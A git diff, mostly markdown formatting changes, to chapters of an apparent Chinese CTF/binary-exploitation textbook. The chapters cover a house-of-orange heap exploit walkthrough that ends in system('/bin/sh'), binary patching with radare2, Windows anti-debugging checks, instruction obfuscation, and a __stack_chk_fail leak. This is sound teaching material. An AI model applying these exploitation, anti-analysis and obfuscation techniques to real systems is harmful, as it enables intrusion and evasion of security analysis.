`mp_.mmap_threshold`: + ```c if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))) { ``` + 同时,为了能够调用 `sysmalloc()` 中的 `_int_free()`,需要 top chunk 大于 `MINSIZE`,即 0x10: + ```c if (old_size >= MINSIZE) { _int_free (av, old_top, 1); } ``` + 当然,还得绕过下面两个限制条件: + ```c /* If not the first time through, we require old_size to be @@ -700,10 +758,12 @@ house-of-orange 是一种利用堆溢出修改 `_IO_list_all` 指针的利用方 /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ``` + 即满足 old_size 小于 `nb+MINSIZE`,`PREV_INUSE` 标志位为 1,`old_top+old_size` 页对齐这几个条件。 首先分配一个大小为 0x400 的 chunk: -``` + +```text gef➤ x/4gx p1-0x10 0x602000: 0x0000000000000000 0x0000000000000401 <-- chunk p1 0x602010: 0x0000000000000000 0x0000000000000000 @@ -711,17 +771,20 @@ gef➤ x/4gx p1-0x10+0x400 0x602400: 0x0000000000000000 0x0000000000020c01 <-- top chunk 0x602410: 0x0000000000000000 0x0000000000000000 ``` + 默认情况下,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。 现在假设存在溢出漏洞,可以修改 top chunk 的数据,于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件: -``` + +```text gef➤ x/4gx p1-0x10+0x400 0x602400: 0x0000000000000000 0x0000000000000c01 <-- top chunk 0x602410: 0x0000000000000000 0x0000000000000000 ``` 紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old\_top 后面新建了一个 top chunk 用来存放 new\_top,然后将 old\_top 释放,即被添加到了 unsorted bin 中: -``` + +```text gef➤ x/4gx p1-0x10+0x400 0x602400: 0x0000000000000000 0x0000000000000be1 <-- old top chunk [be freed] 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer @@ -734,13 +797,15 @@ gef➤ x/4gx p2-0x10 gef➤ x/4gx p2-0x10+0x1010 0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk 0x624020: 0x0000000000000000 0x0000000000000000 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x602400, bk=0x602400 → Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE) ``` + 于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的: -``` + +```text +---------------+ | p1 | +---------------+ @@ -757,7 +822,9 @@ gef➤ heap bins unsorted | new top | +---------------+ ``` + 详细过程如下: + ```c if (old_size != 0) { @@ -790,17 +857,21 @@ gef➤ heap bins unsorted ``` 根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 `_IO_list_all` 的地址。然后通过溢出将 old top 的 bk 改写为 `_IO_list_all-0x10`,这样在进行 unsorted bin attack 时,就会将 `_IO_list_all` 修改为 `&unsorted_bin-0x10`: + ```c /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); ``` -``` + +```text gef➤ x/4gx p1-0x10+0x400 0x602400: 0x0000000000000000 0x0000000000000be1 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 ``` + 这里讲一下 glibc 中的异常处理。一般在出现内存错误时,会调用函数 `malloc_printerr()` 打印出错信息,我们顺着代码一直跟踪下去: + ```c static void malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) @@ -824,7 +895,9 @@ malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) abort (); } ``` + 调用 `__libc_message`: + ```c // sysdeps/posix/libc_fatal.c /* Abort with an error message. */ @@ -841,7 +914,9 @@ __libc_message (int do_abort, const char *fmt, ...) } } ``` + `do_abort` 调用 `fflush`,即 `_IO_flush_all_lockp`: + ```c // stdlib/abort.c #define fflush(s) _IO_flush_all_lockp (0) @@ -852,6 +927,7 @@ __libc_message (int do_abort, const char *fmt, ...) fflush (NULL); } ``` + ```c // libio/genops.c int @@ -908,7 +984,9 @@ _IO_flush_all_lockp (int do_lock) return result; } ``` + `_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用最终会变成对 `system('/bin/sh')` 的调用。 + ```c // libio/libioP.h /* We always allocate an extra word following an _IO_FILE. @@ -966,7 +1044,9 @@ struct _IO_FILE { #ifdef _IO_USE_OLD_IO_FILE }; ``` + 其中有一个指向函数跳转表的指针,`_IO_jump_t` 的结构如下: + ```c // libio/libioP.h struct _IO_jump_t @@ -999,11 +1079,13 @@ struct _IO_jump_t #endif }; ``` + 伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。 当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置上是 smallbins[5]。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。 在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查: + ```c if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T @@ -1014,6 +1096,7 @@ struct _IO_jump_t ) && _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数 ``` + ```c // libio/libio.h @@ -1045,10 +1128,12 @@ struct _IO_wide_data const struct _IO_jump_t *_wide_vtable; }; ``` + 所以这里我们设置 `fp->_mode = 0`,`fp->_IO_write_base = (char *) 2` 和 `fp->_IO_write_ptr = (char *) 3`,从而绕过检查。 然后,就是修改 `_IO_jump_t`,将其指向 winner: -``` + +```text gef➤ x/30gx p1-0x10+0x400 0x602400: 0x0068732f6e69622f 0x0000000000000061 <-- old top 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 <-- bk points to io_list_all-0x10 @@ -1068,41 +1153,42 @@ gef➤ x/30gx p1-0x10+0x400 gef➤ p *((struct _IO_FILE_plus *) 0x602400) $1 = { file = { - _flags = 0x6e69622f, - _IO_read_ptr = 0x61 , - _IO_read_end = 0x7ffff7dd1b78 "\020@b", - _IO_read_base = 0x7ffff7dd2510 "", - _IO_write_base = 0x2 , - _IO_write_ptr = 0x3 , - _IO_write_end = 0x0, - _IO_buf_base = 0x0, - _IO_buf_end = 0x0, - _IO_save_base = 0x0, - _IO_backup_base = 0x0, - _IO_save_end = 0x0, - _markers = 0x0, - _chain = 0x0, - _fileno = 0x0, - _flags2 = 0x0, - _old_offset = 0x4006d3, - _cur_column = 0x0, - _vtable_offset = 0x0, - _shortbuf = "", - _lock = 0x0, - _offset = 0x0, - _codecvt = 0x0, - _wide_data = 0x0, - _freeres_list = 0x0, - _freeres_buf = 0x0, - __pad5 = 0x0, - _mode = 0x0, + _flags = 0x6e69622f, + _IO_read_ptr = 0x61 , + _IO_read_end = 0x7ffff7dd1b78 "\020@b", + _IO_read_base = 0x7ffff7dd2510 "", + _IO_write_base = 0x2 , + _IO_write_ptr = 0x3 , + _IO_write_end = 0x0, + _IO_buf_base = 0x0, + _IO_buf_end = 0x0, + _IO_save_base = 0x0, + _IO_backup_base = 0x0, + _IO_save_end = 0x0, + _markers = 0x0, + _chain = 0x0, + _fileno = 0x0, + _flags2 = 0x0, + _old_offset = 0x4006d3, + _cur_column = 0x0, + _vtable_offset = 0x0, + _shortbuf = "", + _lock = 0x0, + _offset = 0x0, + _codecvt = 0x0, + _wide_data = 0x0, + _freeres_list = 0x0, + _freeres_buf = 0x0, + __pad5 = 0x0, + _mode = 0x0, _unused2 = '\000' - }, + }, vtable = 0x602460 } ``` 最后随意分配一个 chunk,由于 `size<= 2*SIZE_SZ`,所以会触发 `_IO_flush_all_lockp` 中的 `_IO_OVERFLOW` 函数,获得 shell。 + ```c for (;; ) { @@ -1119,8 +1205,8 @@ $1 = { 到此,how2heap 里全部的堆利用方法就全部讲完了。 - ## 参考资料 + - [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/) - [House of Orange](https://www.lazenca.net/display/TEC/House+of+Orange#HouseofOrange-Sourcecode) - [house_of_orange](http://blog.leanote.com/post/3191220142@qq.com/house_of_orange) diff --git a/doc/3.1.9_heap_exploit_4.md b/doc/3.1.9_heap_exploit_4.md index 6815164..b9d8c42 100644 --- a/doc/3.1.9_heap_exploit_4.md +++ b/doc/3.1.9_heap_exploit_4.md @@ -4,15 +4,14 @@ - [house_of_roman](#house_of_roman) - [参考资料](#参考资料) - [下载文件](../src/Others/3.1.6_heap_exploit) -#### house_of_rabbit - -#### house_of_roman +### house_of_rabbit +### house_of_roman ## 参考资料 + - [House of Rabbit - Heap exploitation technique bypassing ASLR](http://shift-crops.hatenablog.com/entry/2017/09/17/213235) - https://github.com/shift-crops/House_of_Rabbit - [House_of_Roman](https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc) diff --git a/doc/3.2.1_patch_binary.md b/doc/3.2.1_patch_binary.md index a70424f..f700ef0 100644 --- a/doc/3.2.1_patch_binary.md +++ b/doc/3.2.1_patch_binary.md @@ -4,33 +4,38 @@ - [手工 patch](#手工-patch) - [使用工具 patch](#使用工具-patch) - ## 什么是 patch + 许多时候,我们不能获得程序源码,只能直接对二进制文件进行修改,这就是所谓的 patch,你可以使用十六进制编辑器直接修改文件的字节,也可以利用一些半自动化的工具。 patch 有很多种形式: + - patch 二进制文件(程序或库) - 在内存里 patch(利用调试器) - 预加载库替换原库文件中的函数 - triggers(hook 然后在运行时 patch) - ## 手工 patch + 手工 patch 自然会比较麻烦,但能让我们更好地理解一个二进制文件的构成,以及程序的链接和加载。有许多工具可以做到这一点,比如 xxd、dd、gdb、radare2 等等。 -#### xxd -``` +### xxd + +```text $ echo 01: 01 02 03 04 05 06 07 08 | xxd -r - output -$ xxd -g1 output +$ xxd -g1 output 00000000: 00 01 02 03 04 05 06 07 08 ......... $ echo 04: 41 42 43 44 | xxd -r - output -$ xxd -g1 output +$ xxd -g1 output 00000000: 00 01 02 03 41 42 43 44 08 ....ABCD. ``` + 参数 `-r` 用于将 hexdump 转换成 binary。这里我们先创建一个 binary,然后将将其中几个字节改掉。 -#### radare2 +### radare2 + 一个简单的例子: + ```c #include void main() { @@ -38,13 +43,16 @@ void main() { puts("world"); } ``` -``` -$ gcc -no-pie patch.c -$ ./a.out + +```text +$ gcc -no-pie patch.c +$ ./a.out helloworld ``` + 下面通过计算函数偏移,我们将 `printf` 换成 `puts`: -``` + +```text [0x004004e0]> pdf @ main ;-- main: / (fcn) sym.main 36 @@ -55,49 +63,59 @@ helloworld | 0x004005ce 488d3d9f0000. lea rdi, str.hello ; 0x400674 ; "hello" | 0x004005d5 b800000000 mov eax, 0 | 0x004005da e8f1feffff call sym.imp.printf ; int printf(const char *format) -| 0x004005df 488d3d940000. lea rdi, str.world ; 0x40067a ; "world" +| 0x004005df 488d3d940000. lea rdi, str.world ; 0x40067a ; "world" | 0x004005e6 e8d5feffff call sym.imp.puts ; sym.imp.printf-0x10 ; int printf(const char *format) | 0x004005eb 90 nop | 0x004005ec 5d pop rbp \ 0x004005ed c3 ret ``` + 地址 `0x004005da` 处的语句是 `call sym.imp.printf`,其中机器码 `e8` 代表 `call`,所以 `sym.imp.printf` 的偏移是 `0xfffffef1`。地址 `0x004005e6` 处的语句是 `call sym.imp.puts`,`sym.imp.puts` 的偏移是 `0xfffffed5`。 接下来找到两个函数的 plt 地址: -``` + +```text [0x004004e0]> is~printf vaddr=0x004004d0 paddr=0x000004d0 ord=003 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf [0x004004e0]> is~puts vaddr=0x004004c0 paddr=0x000004c0 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.puts ``` + 计算相对位置: -``` + +```text [0x004004e0]> ?v 0x004004d0-0x004004c0 0x10 ``` 所以要想将 `printf` 替换为 `puts`,只要替换成 `0xfffffef1 -0x10 = 0xfffffee1` 就可以了。 -``` + +```text [0x004004e0]> s 0x004005da [0x004005da]> wx e8e1feffff [0x004005da]> pd 1 | 0x004005da e8e1feffff call sym.imp.puts ; sym.imp.printf-0x10 ; int printf(const char *format) ``` + 搞定。 -``` -$ ./a.out + +```text +$ ./a.out hello world ``` + 当然还可以将这一过程更加简化,直接输入汇编,其他的事情 r2 会帮你搞定: -``` + +```text [0x004005da]> wa call 0x004004c0 Written 5 bytes (call 0x004004c0) = wx e8e1feffff [0x004005da]> wa call sym.imp.puts Written 5 bytes (call sym.imp.puts) = wx e8e1feffff ``` - ## 使用工具 patch -#### patchkit + +### patchkit + [patchkit](https://github.com/lunixbochs/patchkit) 可以让我们通过 Python 脚本来 patch ELF 二进制文件。 diff --git a/doc/3.2.4_pe_anti_debugging.md b/doc/3.2.4_pe_anti_debugging.md index c0d2eb2..135a4d4 100644 --- a/doc/3.2.4_pe_anti_debugging.md +++ b/doc/3.2.4_pe_anti_debugging.md @@ -4,22 +4,26 @@ - [反调试技术](#反调试技术) - [参考资料](#参考资料) - ## 什么是反调试 + 反调试是一种重要的软件保护技术,特别是在各种游戏保护中被尤其重视。另外,恶意代码往往也会利用反调试来对抗安全分析。当程序意识到自己可能处于调试中的时候,可能会改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。 - ## 反调试技术 + 下面先介绍几种 Windows 下的反调试方法。 -#### 函数检测 +### 函数检测 + 函数检测就是通过 Windows 自带的公开或未公开的函数直接检测程序是否处于调试状态。最简单的调试器检测函数是 `IsDebuggerPresent()`: + ```c++ BOOL WINAPI IsDebuggerPresent(void); ``` + 该函数查询进程环境块(PEB)中的 `BeingDebugged` 标志,如果进程处在调试上下文中,则返回一个非零值,否则返回零。 示例: + ```c++ BOOL CheckDebug() { @@ -28,12 +32,14 @@ BOOL CheckDebug() ``` `CheckRemoteDebuggerPresent()` 用于检测一个远程进程是否处于调试状态: + ```c++ BOOL WINAPI CheckRemoteDebuggerPresent( _In_ HANDLE hProcess, _Inout_ PBOOL pbDebuggerPresent ); ``` + 如果 `hProcess` 句柄表示的进程处于调试上下文,则设置 `pbDebuggerPresent` 变量被设置为 `TRUE`,否则被设置为 `FALSE`。 ```c++ @@ -46,6 +52,7 @@ BOOL CheckDebug() ``` `NtQueryInformationProcess` 用于获取给定进程的信息: + ```c++ NTSTATUS WINAPI NtQueryInformationProcess( _In_ HANDLE ProcessHandle, @@ -55,9 +62,11 @@ NTSTATUS WINAPI NtQueryInformationProcess( _Out_opt_ PULONG ReturnLength ); ``` + 第二个参数 `ProcessInformationClass` 给定了需要查询的进程信息类型。当给定值为 `0`(`ProcessBasicInformation`)或 `7`(`ProcessDebugPort`)时,就能得到相关调试信息,返回信息会写到第三个参数 `ProcessInformation` 指向的缓冲区中。 示例: + ```c++ BOOL CheckDebug() { @@ -69,10 +78,12 @@ BOOL CheckDebug() } ``` -#### 数据检测 +### 数据检测 + 数据检测是指程序通过测试一些与调试相关的关键位置的数据来判断是否处于调试状态。比如上面所说的 PEB 中的 `BeingDebugged` 参数。数据检测就是直接定位到这些数据地址并测试其中的数据,从而避免调用函数,使程序的行为更加隐蔽。 示例: + ```c++ BOOL CheckDebug() { @@ -91,25 +102,28 @@ BOOL CheckDebug() 由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同,系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置,来决定如果创建堆结构。如果这个位置上的值为 `0x70`,则进程处于调试器中。 示例: + ```c++ BOOL CheckDebug() { - int BeingDbg = 0; - __asm - { - mov eax, dword ptr fs:[30h] - mov eax, dword ptr [eax + 68h] - and eax, 0x70 - mov BeingDbg, eax - } - return BeingDbg != 0; + int BeingDbg = 0; + __asm + { + mov eax, dword ptr fs:[30h] + mov eax, dword ptr [eax + 68h] + and eax, 0x70 + mov BeingDbg, eax + } + return BeingDbg != 0; } ``` -#### 符号检测 +### 符号检测 + 符号检测主要针对一些使用了驱动的调试器或监视器,这类调试器在启动后会创建相应的驱动链接符号,以用于应用层与其驱动的通信。但由于这些符号一般都比较固定,所以就可以通过这些符号来确定是否存在相应的调试软件。 示例: + ```c++ BOOL CheckDebug() { @@ -121,10 +135,12 @@ BOOL CheckDebug() } ``` -#### 窗口检测 +### 窗口检测 + 窗口检测通过检测当前桌面中是否存在特定的调试窗口来判断是否存在调试器,但不能判断该调试器是否正在调试该程序。 示例: + ```c++ BOOL CheckDebug() { @@ -136,11 +152,13 @@ BOOL CheckDebug() } ``` -#### 特征码检测 +### 特征码检测 + 特征码检测枚举当前正在运行的进程,并在进程的内存空间中搜索特定调试器的代码片段。 例如 OllyDbg 有这样一段特征码: -``` + +```text 0x41, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x4f, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x79, 0x00, 0x44, 0x00, 0x62, 0x00, 0x67, 0x00, 0x00, 0x00, 0x4f, 0x00, @@ -148,6 +166,7 @@ BOOL CheckDebug() ``` 示例: + ```c++ BOOL CheckDebug() { @@ -182,10 +201,12 @@ BOOL CheckDebug() }while(Process32Next(phsnap, &sentry32)); ``` -#### 行为检测 +### 行为检测 + 行为检测是指在程序中通过代码感知程序处于调试时与未处于调试时的各种差异来判断程序是否处于调试状态。例如我们在调试时步过两条指令所花费的时间远远超过 CPU 正常执行花费的时间,于是就可以通过 `rdtsc` 指令来进行测试。(该指令用于将时间标签计数器读入 `EDX:EAX` 寄存器) 示例: + ```c++ BOOL CheckDebug() { @@ -206,54 +227,58 @@ BOOL CheckDebug() } ``` -#### 断点检测 +### 断点检测 + 断点检测是根据调试器设置断点的原理来检测软件代码中是否设置了断点。调试器一般使用两者方法设置代码断点: + - 通过修改代码指令为 INT3(机器码为0xCC)触发软件异常 - 通过硬件调试寄存器设置硬件断点 针对软件断点,检测系统会扫描比较重要的代码区域,看是否存在多余的 INT3 指令。 示例: + ```c++ BOOL CheckDebug() { - PIMAGE_DOS_HEADER pDosHeader; - PIMAGE_NT_HEADERS32 pNtHeaders; - PIMAGE_SECTION_HEADER pSectionHeader; - DWORD dwBaseImage = (DWORD)GetModuleHandle(NULL); - pDosHeader = (PIMAGE_DOS_HEADER)dwBaseImage; - pNtHeaders = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader + pDosHeader->e_lfanew); - pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(pNtHeaders->Signature) + sizeof(IMAGE_FILE_HEADER) + - (WORD)pNtHeaders->FileHeader.SizeOfOptionalHeader); - DWORD dwAddr = pSectionHeader->VirtualAddress + dwBaseImage; - DWORD dwCodeSize = pSectionHeader->SizeOfRawData; - BOOL Found = FALSE; - __asm - { - cld - mov edi,dwAddr - mov ecx,dwCodeSize - mov al,0CCH - repne scasb ; 在EDI指向大小为ECX的缓冲区中搜索AL包含的字节 - jnz NotFound - mov Found,1 -NotFound: - } - return Found; + PIMAGE_DOS_HEADER pDosHeader; + PIMAGE_NT_HEADERS32 pNtHeaders; + PIMAGE_SECTION_HEADER pSectionHeader; + DWORD dwBaseImage = (DWORD)GetModuleHandle(NULL); + pDosHeader = (PIMAGE_DOS_HEADER)dwBaseImage; + pNtHeaders = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader + pDosHeader->e_lfanew); + pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(pNtHeaders->Signature) + sizeof(IMAGE_FILE_HEADER) + + (WORD)pNtHeaders->FileHeader.SizeOfOptionalHeader); + DWORD dwAddr = pSectionHeader->VirtualAddress + dwBaseImage; + DWORD dwCodeSize = pSectionHeader->SizeOfRawData; + BOOL Found = FALSE; + __asm + { + cld + mov edi,dwAddr + mov ecx,dwCodeSize + mov al,0CCH + repne scasb ; 在EDI指向大小为ECX的缓冲区中搜索AL包含的字节 + jnz NotFound + mov Found,1 +NotFound: + } + return Found; } ``` 而对于硬件断点,由于程序工作在保护模式下,无法访问硬件调试断点,所以一般需要构建异常程序来获取 DR 寄存器的值。 示例: + ```c++ BOOL CheckDebug() { - CONTEXT context; + CONTEXT context; HANDLE hThread = GetCurrentThread(); context.ContextFlags = CONTEXT_DEBUG_REGISTERS; GetThreadContext(hThread, &context); - if (context.Dr0 != 0 || context.Dr1 != 0 || context.Dr2 != 0 || context.Dr3!=0) + if (context.Dr0 != 0 || context.Dr1 != 0 || context.Dr2 != 0 || context.Dr3!=0) { return 1; } @@ -261,9 +286,10 @@ BOOL CheckDebug() } ``` -#### 行为占用 +### 行为占用 + 行为占用是指在需要保护的程序中,程序自身将一些只能同时有 1 个实例的功能占为己用。比如一般情况下,一个进程只能同时被 1 个调试器调试,那么就可以设计一种模式,将程序以调试方式启动,然后利用系统的调试机制防止被其他调试器调试。 - ## 参考资料 + - [详解反调试技术](https://blog.csdn.net/qq_32400847/article/details/52798050) diff --git a/doc/3.2.6_instruction_confusion.md b/doc/3.2.6_instruction_confusion.md index c84ec81..946833e 100644 --- a/doc/3.2.6_instruction_confusion.md +++ b/doc/3.2.6_instruction_confusion.md @@ -4,101 +4,127 @@ - [常见的混淆方法](#常见的混淆方法) - [代码虚拟化](#代码虚拟化) - ## 为什么需要指令混淆 + 软件的安全性严重依赖于代码复杂化后被分析者理解的难度,通过指令混淆,可以将原始的代码指令转换为等价但极其复杂的指令,从而尽可能地提高分析和破解的成本。 - ## 常见的混淆方法 -#### 代码变形 + +### 代码变形 + 代码变形是指将单条或多条指令转变为等价的单条或多条其他指令。其中对单条指令的变形叫做局部变形,对多条指令结合起来考虑的变成叫做全局变形。 例如下面这样的一条赋值指令: -``` + +```text mov eax, 12345678h ``` + 可以使用下面的组合指令来替代: -``` + +```text push 12345678h pop eax ``` 更进一步: -``` + +```text pushfd mov eax, 1234 shl eax, 10 mov ax, 5678 popfd ``` + `pushfd` 和 `popfd` 是为了保护 EFLAGS 寄存器不受变形后指令的影响。 继续替换: -``` + +```text pushfd push 1234 pop eax shl eax, 10 mov ax 5678 ``` + 这样的结果就是简单的指令也可能会变成上百上千条指令,大大提高了理解的难度。 再看下面的例子: -``` + +```text jmp {label} ``` + 可以变成: -``` + +```text push {label} ret ``` + 而且 IDA 不能识别出这种 label 标签的调用结构。 指令: -``` + +```text call {label} ``` + 可以替换成: -``` + +```text push {call指令后面的那个label} push {label} ret ``` 指令: -``` + +```text push {op} ``` + 可以替换成: -``` + +```text sub esp, 4 mov [esp], {op} ``` 下面我们来看看全局变形。对于下面的代码: -``` + +```text mov eax, ebx mov ecx, eax ``` + 因为两条代码具有关联性,在变形时需要综合考虑,例如下面这样: -``` + +```text mov cx, bx mov ax, cx mov ch, bh mov ah, bh ``` + 这种具有关联性的特定使得通过变形后的代码推导变形前的代码更加困难。 -#### 花指令 +### 花指令 + 花指令就是在原始指令中插入一些虽然可以被执行但是没有任何作用的指令,它的出现只是为了扰乱分析,不仅是对分析者来说,还是对反汇编器、调试器来说。 来看个例子,原始指令如下: -``` + +```text add eax, ebx mul ecx ``` + 加入花指令之后: -``` + +```text xor esi, 011223344h add esi, eax add eax, ebx @@ -107,30 +133,38 @@ shl edx, 4 mul ecx xor esi, ecx ``` + 其中使用了源程序不会使用到的 esi 和 edx 寄存器。这就是一种纯粹的垃圾指令。 有的花指令用于干扰反汇编器,例如下面这样: -``` + +```text 01003689 50 push eax 0100368A 53 push ebx ``` + 加入花指令后: -``` + +```text 01003689 50 push eax 0100368A EB 01 jmp short 0100368D 0100368C FF53 6A call dword ptr [ebx+6A] ``` + 乍一看似乎很奇怪,其实是加入因为加入了机器码 `EB 01 FF`,使得线性分析的反汇编器产生了误判。而在执行时,第二条指令会跳转到正确的位置,流程如下: -``` + +```text 01003689 50 push eax 0100368A EB 01 jmp short 0100368D 0100368C 90 nop 0100368D 53 push ebx ``` -#### 扰乱指令序列 +### 扰乱指令序列 + 指令一般都是按照一定序列执行的,例如下面这样: -``` + +```text 01003689 push eax 0100368A push ebx 0100368B xor eax, eax @@ -141,8 +175,10 @@ xor esi, ecx 01003695 pop ebx 01003696 pop eax ``` + 指令序列看起来很清晰,所以扰乱指令序列就是要打乱这种指令的排列方式,以干扰分析者: -``` + +```text 01003689 push eax 0100368A jmp short 01003694 0100368C xor eax, eax @@ -158,18 +194,23 @@ xor esi, ecx 0100369F pop ebx 010036A0 pop eax ``` + 虽然看起来很乱,但真实的执行顺序没有改变。 -#### 多分支 +### 多分支 + 多分支是指利用不同的条件跳转指令将程序的执行流程复杂化。与扰乱指令序列不同的时,多分支改变了程序的执行流。举个例子: -``` + +```text 01003689 push eax 0100368A push ebx 0100368B push ecx 0100368C push edx ``` + 变形如下: -``` + +```text 01003689 push eax 0100368A je short 0100368F 0100368C push ebx @@ -178,10 +219,12 @@ xor esi, ecx 01003690 push ecx 01003691 push edx ``` + 代码里加入了一个条件分支,但它究竟会不会触发我们并不关心。于是程序具有了不确定性,需要在执行时才能确定。但可以肯定的时,这段代码的执行结果和原代码相同。 再改进一下,用不同的代码替换分支处的代码: -``` + +```text 01003689 push eax 0100368A je short 0100368F 0100368C push ebx @@ -192,11 +235,13 @@ xor esi, ecx 01003694 push edx ``` -#### 不透明谓词 +### 不透明谓词 + 不透明谓词是指一个表达式的值在执行到某处时,对程序员而言是已知的,但编译器或静态分析器无法推断出这个值,只能在运行时确定。上面的多分支其实也是利用了不透明谓词。 下面的代码中: -``` + +```text mov esi, 1 ... ; some code not touching esi dec esi @@ -206,17 +251,20 @@ jz real_code ; fake luggage real_code: ``` + 假设我们知道这里 esi 的值肯定是 0,那么就可以在 fake luggage 处插入任意长度和复杂度的指令,以达到混淆的目的。 其它的例子还有(同样假设esi为0): -``` + +```text add eax, ebx mul ecx add eax, esi ``` -#### 间接指针 -``` +### 间接指针 + +```text dummy_data1 db 100h dup (0) message1 db 'hello world', 0 @@ -237,13 +285,14 @@ func proc ... func endp ``` + 这里通过 dummy_data 来间接地引用 message,但 IDA 就不能正确地分析到对 message 的引用。 - ## 代码虚拟化 + 基于虚拟机的代码保护也可以算是代码混淆技术的一种,是目前各种混淆中保护效果最好的。简单地说,该技术就是通过许多模拟代码来模拟被保护的代码的执行,然后计算出与被保护代码执行时相同的结果。 -``` +```text +------------+ | 头部指令序列 | -------> | 代码虚拟机入口 | |------------| | @@ -256,6 +305,7 @@ func endp | 尾部指令序列 | <------- | 代码虚拟机出口 | +------------+ ``` + 当原始指令执行到指令序列的开始处,就转入代码虚拟机的入口。此时需要保存当前线程的上下文信息,然后进入模拟执行阶段,该阶段是代码虚拟机的核心。有两种方案来保证虚拟机代码与原始代码的栈空间使用互不冲突,一种是在堆上开辟开辟新的空间,另一种是继续使用原始代码所使用的栈空间,这两种方案互有优劣,在实际中第二种使用较多。 对于怎样模拟原始代码,同样有两种方案。一种是将原本的指令序列转变为一种具有直接或者间接对应关系的,只有虚拟机才能理解的代码数据。例如用 `0` 来表示 `push`, 1 表示 `mov` 等。这种直接或间接等价的数据称为 opcode。另一种方案是将原始代码的意义直接转换成新的代码,类似于代码变形,这种方案基于指令语义,所以设计难度非常大。 diff --git a/doc/4.12_stack_chk_fail.md b/doc/4.12_stack_chk_fail.md index c22c025..89e14d8 100644 --- a/doc/4.12_stack_chk_fail.md +++ b/doc/4.12_stack_chk_fail.md @@ -6,13 +6,14 @@ - [libc 2.25](#libc-2.25) - [参考资料](#参考资料) - ## 回顾 canary + 在章节 4.4 中我们已经知道了有一种叫做 canary 的漏洞缓解机制,用来判断是否发生了栈溢出。 这一节我们来看一下,在开启了 canary 的程序上,怎样利用 `__stack_chk_fail` 泄漏信息。 一个例子: + ```c #include void main(int argc, char **argv) { @@ -24,7 +25,9 @@ void main(int argc, char **argv) { // argv[0] = "Hello World!"; } ``` + 我们先注释掉最后一行: + ```text $ gcc chk_fail.c $ python -c 'print "A"*50' | ./a.out @@ -32,19 +35,23 @@ argv[0]: ./a.out *** stack smashing detected ***: ./a.out terminated Aborted (core dumped) ``` + 可以看到默认情况下 `argv[0]` 是指向程序路径及名称的指针,然后错误信息中打印出了这个字符串。 然后解掉注释再来看一看: -``` + +```text $ python -c 'print "A"*50' | ./a.out argv[0]: ./a.out *** stack smashing detected ***: Hello World! terminated Aborted (core dumped) ``` + 由于程序中我们修改 `argv[0]`,此时错误信息就打印出了 `Hello World!`。是不是很神奇。 main 函数的反汇编结果如下: -``` + +```text gef➤ disassemble main Dump of assembler code for function main: 0x00000000004005f6 <+0>: push rbp @@ -74,14 +81,16 @@ Dump of assembler code for function main: 0x000000000040065c <+102>: je 0x400663 # 相同 0x000000000040065e <+104>: call 0x4004b0 <__stack_chk_fail@plt> # 不相同 0x0000000000400663 <+109>: leave - 0x0000000000400664 <+110>: ret + 0x0000000000400664 <+110>: ret End of assembler dump. ``` + 所以当 canary 检查失败的时候,即产生栈溢出,覆盖掉了原来的 canary 的时候,函数不能正常返回,而是执行 `__stack_chk_fail()` 函数,打印出 `argv[0]` 指向的字符串。 